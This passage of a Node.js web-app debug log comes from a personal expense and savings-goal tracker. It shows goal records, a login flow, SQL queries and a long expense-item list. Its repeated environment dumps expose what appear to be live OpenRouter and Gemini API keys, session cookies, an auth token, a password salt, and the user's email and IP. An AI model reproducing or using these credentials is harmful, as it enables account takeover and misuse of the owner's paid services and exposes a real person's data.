    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '50000',
    last_transaction_date: 2026-02-24T12:05:14.000Z,
    percentage_achieved: '25.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  }
]
2026-02-24T12:06:58.706Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-02-24T12:07:06.587Z server-connect:router Serving templateView /diecast-worksheet
2026-02-24T12:07:06.587Z server-connect:app Executing action step identify
2026-02-24T12:07:06.587Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:06.588Z server-connect:auth No login cookie found
2026-02-24T12:07:06.588Z server-connect:output identity: false
2026-02-24T12:07:06.588Z server-connect:app Executing action step restrict
2026-02-24T12:07:06.588Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:07:06.589Z server-connect:output restrict: undefined
2026-02-24T12:07:06.846Z server-connect:router Serving templateView /login
2026-02-24T12:07:06.846Z server-connect:app Executing action step identify
2026-02-24T12:07:06.846Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:06.847Z server-connect:auth No login cookie found
2026-02-24T12:07:06.847Z server-connect:output identity: false
2026-02-24T12:07:06.847Z server-connect:router Render template layouts/authentication
2026-02-24T12:07:06.847Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:07:06.846Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-24T12:07:11.361Z server-connect:router Serving serverConnect /api/access-control/login
2026-02-24T12:07:11.362Z server-connect:app Executing action step identify
2026-02-24T12:07:11.362Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:11.362Z server-connect:auth No login cookie found
2026-02-24T12:07:11.362Z server-connect:output identity: false
2026-02-24T12:07:11.362Z server-connect:app Executing action step login
2026-02-24T12:07:11.362Z server-connect:app options: {
  provider: 'security',
  remember: 1,
  username: '{{$_POST.email}}',
  password: "{{$_POST.password.sha256('yajnas')}}"
}
2026-02-24T12:07:11.364Z server-connect:auth setCookie 1 engineer.sanjay20@gmail.com 5541655453e404f32177f2ccaf540c8fa1593fe3a8d6b1f4c2ecd7d10676db8e
2026-02-24T12:07:11.429Z server-connect:output identity: 1
2026-02-24T12:07:11.429Z server-connect:app Executing action step restrict
2026-02-24T12:07:11.429Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:07:11.429Z server-connect:output restrict: undefined
2026-02-24T12:07:11.728Z server-connect:router Serving templateView /
2026-02-24T12:07:11.728Z server-connect:app Executing action step identify
2026-02-24T12:07:11.728Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:11.728Z server-connect:output identity: 1
2026-02-24T12:07:11.728Z server-connect:app Executing action step restrict
2026-02-24T12:07:11.728Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:07:11.729Z server-connect:output restrict: undefined
2026-02-24T12:07:11.729Z server-connect:app Executing action step restrict
2026-02-24T12:07:11.729Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:07:11.729Z server-connect:output restrict: undefined
2026-02-24T12:07:11.729Z server-connect:router Render template layouts/main
2026-02-24T12:07:11.729Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/login',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3AmViIz5psF6y0HKpM6vGOXA%3D%3D.pXuu5m1aAxMjCgGmCYoyleqaXuFXlK0Vjpe681GhgZ55jZ%2BZxN2SQbg%2FWqljqqgFOuBio6KmCc12NnvGjjUNVIty2qBpUD25sr%2FP9g2tSpJiuCWDy5ibZBTQpmu6kqAfNFw1ElMRbnfbWjgdalqoyZqsHLExkJk5XAKZA%2FBLd8Y%3D.PhAPOGvrT2RmyjP7wslfh%2B751fWxRGkU6lj215dtIZI; your_r_git.sid=s%3AovTWdEDsTVWpzFmrdMA9CqiEjB2kHyBV.IHq5DSwB5TWJNafQj034P8YpB95cH%2Fv%2Fw%2F7F663Z7II',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:07:11.430Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/login',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3AmViIz5psF6y0HKpM6vGOXA%3D%3D.pXuu5m1aAxMjCgGmCYoyleqaXuFXlK0Vjpe681GhgZ55jZ%2BZxN2SQbg%2FWqljqqgFOuBio6KmCc12NnvGjjUNVIty2qBpUD25sr%2FP9g2tSpJiuCWDy5ibZBTQpmu6kqAfNFw1ElMRbnfbWjgdalqoyZqsHLExkJk5XAKZA%2FBLd8Y%3D.PhAPOGvrT2RmyjP7wslfh%2B751fWxRGkU6lj215dtIZI; your_r_git.sid=s%3AovTWdEDsTVWpzFmrdMA9CqiEjB2kHyBV.IHq5DSwB5TWJNafQj034P8YpB95cH%2Fv%2Fw%2F7F663Z7II',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-24T12:07:13.506Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-24T12:07:13.506Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-24T12:07:13.507Z server-connect:app Executing action step identify
2026-02-24T12:07:13.507Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:13.507Z server-connect:output identity: 1
2026-02-24T12:07:13.507Z server-connect:app Executing action step restrict
2026-02-24T12:07:13.507Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:07:13.507Z server-connect:app Executing action step identify
2026-02-24T12:07:13.507Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:13.507Z server-connect:output identity: 1
2026-02-24T12:07:13.507Z server-connect:app Executing action step restrict
2026-02-24T12:07:13.507Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-24T12:07:13.508Z server-connect:output restrict: undefined
2026-02-24T12:07:13.508Z server-connect:app Executing action step single
2026-02-24T12:07:13.508Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2026-02-24T12:07:13.508Z server-connect:output restrict: undefined
2026-02-24T12:07:13.508Z server-connect:app Executing action step select
2026-02-24T12:07:13.508Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object] ],
    params: [],
    table: { name: 'sub_categories' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select `sub_categories`.`subcategory_name` as `item_name`, `sub_categories`.`id` as `item_id`, `categories`.`category_name` from `sub_categories` inner join `categories` on `categories`.`id` = `sub_categories`.`category_id`'
  }
}
2026-02-24T12:07:13.509Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-24T12:07:13.512Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-24T12:07:15.931Z server-connect:router Serving templateView /goal
2026-02-24T12:07:15.933Z server-connect:app Executing action step identify
2026-02-24T12:07:15.933Z server-connect:app options: { provider: 'security' }
2026-02-24T12:07:15.933Z server-connect:output identity: 1
2026-02-24T12:07:15.933Z server-connect:app Executing action step restrict
2026-02-24T12:07:15.933Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-24T12:07:15.934Z server-connect:output restrict: undefined
2026-02-24T12:07:15.934Z server-connect:router Render template goal
2026-02-24T12:07:15.934Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AmViIz5psF6y0HKpM6vGOXA%3D%3D.pXuu5m1aAxMjCgGmCYoyleqaXuFXlK0Vjpe681GhgZ55jZ%2BZxN2SQbg%2FWqljqqgFOuBio6KmCc12NnvGjjUNVIty2qBpUD25sr%2FP9g2tSpJiuCWDy5ibZBTQpmu6kqAfNFw1ElMRbnfbWjgdalqoyZqsHLExkJk5XAKZA%2FBLd8Y%3D.PhAPOGvrT2RmyjP7wslfh%2B751fWxRGkU6lj215dtIZI; your_r_git.sid=s%3AovTWdEDsTVWpzFmrdMA9CqiEjB2kHyBV.IHq5DSwB5TWJNafQj034P8YpB95cH%2Fv%2Fw%2F7F663Z7II',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-25T12:07:11.430Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
